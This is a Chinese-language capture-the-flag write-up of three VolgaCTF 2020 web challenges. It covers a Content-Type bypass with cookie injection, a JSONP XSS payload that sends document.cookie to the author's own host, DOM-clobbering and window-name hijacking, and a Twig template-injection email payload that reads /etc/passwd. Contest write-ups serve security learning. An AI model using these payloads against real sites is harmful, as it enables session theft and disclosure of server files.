VolgaCTF 2020 Qualifier-Web题解

毛子hackers太强了。一共五个Web,被虐了一天..小记一下比赛做的两个题

(后续看了另一道XSS-VolgaCTF Archive的WP,有感思路属实nb,这里也做个记录

UserCenter

这题挺有意思的,题目一共有三个域名

  1. volgactf-task.ru 主域
  2. static.volgactf-task.ru 图床
  3. api.volgactf-task.ru 存储个人信息

在api可以更新个人信息,头像内容被base64之后存放到图床,也就是static.volgactf-task.ru
-w722

而图床的解析规则是按照api中的type值来确定的,Content-Type过滤了svg、html,可以用Content-Type: text/plain;,text/html简单bypass一下

-w1285

到这里static这个子域就可以xss了,可是这个域下没有Cookie,所以我们还要想办法打主域的Cookie。我们看主域关键部分的代码

function replaceForbiden(str) {
  return str.replace(/[ !"#$%&´()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
}


function getUser(guid) {
  if(guid) {
    $.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
      if(!data.success) {
        location.replace('/profile.html');
      } else {
        profile(data.user);
      }
    });
  } else {
    $.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
      if(!data.success) {
        location.replace('/login.html');
      } else {
        profile(data.user, true);
      }
    }).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});
  }
}

$(document).ready(function() {
  api = 'api';
  if(Cookies.get('api_server')) {
    api = replaceForbiden(Cookies.get('api_server'));
  } else {
    Cookies.set('api_server', api, {secure: true});
  }

    if(['/','/index.html','/profile.html','/report.php','/editprofile.html'].includes(location.pathname)) {
    getUser(params.get('guid'));
  }
  }

注意到$.getJSON()是存在问题的:当getJSON的url中存在callback=?这样的参数时,他会当作jsonp的结果进行JS执行。所以只要url部分可控就能在主域xss了

即让$.getJSON()请求到的资源如下

({"xss":window.location='http://vps:8888/cookie='+document.cookie});

到这里我们理一下思路:在static下种一个主域的cookie,键名为api-sever。让主域取api后进行getuser()时,$.getJSON()发送请求到我们的可控站点,从而回调->XSS。

唯一要解决的问题就是bypass过滤函数replaceForbiden

这一部分很简单,我们利用它的正则来构造一个”?”并且利用guid拼接一个“callback=?”的参数。下面直接构造poc来打

1、构造static域名下的XSS

<script type="text/javascript">
document.cookie = "api_server=cheerytransparentbutton.hpdoger.repl.co\x99; domain=volgactf-task.ru; path=/profile.html; hostOnly=True";
window.location = 'https://volgactf-task.ru/profile.html?guid=%26callback%3d%3F'
</script>

2、在repl放上主域要用到的XSS资源文件
-w1131

3、向管理员report-xss-url
https://static.volgactf-task.ru/4e0878c623984223b467a3e47d27cb9a

4、getflag
-w1080

VolgaCTF Archive

代码一共就这么多

    <script src="./js/pages.js"></script>
    <script>
      $(window).on('hashchange', function(e) {
        volgactf.activePage.location=location.hash.slice(1);
        if(volgactf.pages[volgactf.activePage.location]) {
          $('#page').attr('src',volgactf.pages[volgactf.activePage.location]);
          $('.active').removeClass('active');
          $('.nav-item > a:contains('+volgactf.activePage.location+')').addClass('active');
        }
      });
      $(document).ready(function() {
        if(location.hash.slice(1) != '2019') {
          $(window).trigger('hashchange');
        }
      });
    </script>

其中通过引入./js/pages自定义了pages结构

volgactf = {
      pages: {
        '2011': './html/2011.html',
        '2012': './html/2012.html',
        '2013': './html/2013.html',
        '2014': './html/2014.html',
        '2015': './html/2015.html',
        '2016': './html/2016.html',
        '2017': './html/2017.html',
        '2018': './html/2018.html',
        '2019': './html/2019.html'
      },
      activePage: {
        location: 2019
      }
    };

如果你挖洞的话,有一个很常见的造成xss的代码如下

location = javascript:alert`1`

-w835

那么这道题也一样,我们利用的点也是整体dom的location,所以完全可以把利用点简化为如下形式

  $(window).on('hashchange', function(e) {
    volgactf.activePage.location=location.hash.slice(1);
}

所以我们就只有这么一个问题要解决:

如何覆盖掉volgactf.activePage,让它指向一个window,调用location的时候造成xss?

如果比赛的时候我想到这点,很可能就解出来了..之前在暑假的时候研究过一种攻击方式叫做前端全局变量劫持

如果要搞懂这道题,必须看下这篇文章讲的大概。在这里,我摘抄自己当时写的一句话


我们有一个父页面a作为攻击者,儿子页面b作为受害者。如果在儿子页面也增加一个iframe(此时称为孙子页面c),通过操纵c页面设置其location使其指向父页面a,这样父页面a和子页面b在某种变量访问的角度上就同源了。之后再修改孙子页面c中window对象的name值,其作用结果是:提升了孙子页面c的作用域,也就是说c页面中window.name的值成为子页面b的一个全局变量


但是在文章中我也有提到,想要覆盖变量就必须先将变量删除。而之前我们删除变量的手法是利用XSS-Auditor的机制,然而现在Auditor被砍掉了..然而作者找到了一种新的攻击面–让pages.js加载失败

这里有2种方法实现,摘抄自Sn00py师傅的笔记:

1、是利用浏览器和nginx对url规范化的差异:
请求https://archive.q.2020.volgactf.ru/x/..%2F时,nginx对url解码,实际请求到https://archive.q.2020.volgactf.ru/ ;而浏览器认为..%2F 是个文 件,所以最终拼接的js是https://archive.q.2020.volgactf.ru/x/js/pages.js

2、利用斜线构造超⻓url:
请求https://archive.q.2020.volgactf.ru////[.....]/////,使得https://archive.q.2020.volgactf.ru////[.....]/////js/main.js刚好触发414 Request-URI Too Large。

最后回归到这道题,我们用结论总结一下攻击思路:

  1. 攻击者在vps构造父页面a。用iframe生成一个子页面b,使b的src指向https://archive.q.2020.volgactf.ru/x/..%2f,阻止其加载pages.js

  2. 污染儿子页面的volgactf,使其指向我们的孙子页面c,那么此时volgactf的值就是孙子页面c的Window对象

  3. 在c页面进行DOM-clobbering,将activePage属性值设置为题目同域的iframe对象。

  4. 改变子页面b的Location,触发hashchange,从而执行

    volgactf.activePage.location='javascript:alert(1)';

完整payload如下,摘自Sn00py师傅的总结

vps/index.html -> 父页面
-w1228

vps/poc.html -> 孙子页面
-w851

Newsletter

代码

<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;

class MainController extends AbstractController
{
    public function index(Request $request)
    {
      return $this->render('main.twig');
    }

    public function subscribe(Request $request, MailerInterface $mailer)
    {
      $msg = '';
      $email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
      if($email !== FALSE) {
        $name = substr($email, 0, strpos($email, '@'));

        $content = $this->get('twig')->createTemplate(
          "<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
        )->render();

        $mail = (new Email())->from('newsletter@newsletter.q.2020.volgactf.ru')->to($email)->subject('VolgaCTF Newsletter')->html($content);
        $mailer->send($mail);

        $msg = 'Success';
      } else {
        $msg = 'Invalid email';
      }
      return $this->render('main.twig', ['msg' => $msg]);
    }


    public function source()
    {
        return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
    }
}

vps搭一个smtp的服务,默认这个域下的邮件都泛解析。我vps正好绑定了博客的host,直接用hpdoger.cn的邮箱

sn00py师傅推荐的快速Smtp:https://www.npmjs.com/package/simple-smtp-listener

const SMTPServer = require("simple-smtp-listener").Server;
const server = new SMTPServer(25 /* port */);
server.on("@hpdoger.cn", (mail)=>{
    console.log(mail.text)
});

接着就是twig的ssti了,server是3.x版本所以打不了RCE。看twig的文档,由于includesource受到目录限制,所以想办法找其他的filter来读文件,看文档找到:https://twig.symfony.com/doc/3.x/

-w815

/etc/passwd,payload如下,双引号bypass FILTER_VALIDATE_EMAIL否则括号无法使用。

email="{{'/etc/passwd'|file_excerpt(1,srcContext=-1)}}"@hpdoger.cn

服务端接受邮件和回显,我dnmd原来flag藏在这里面
-w915

not found!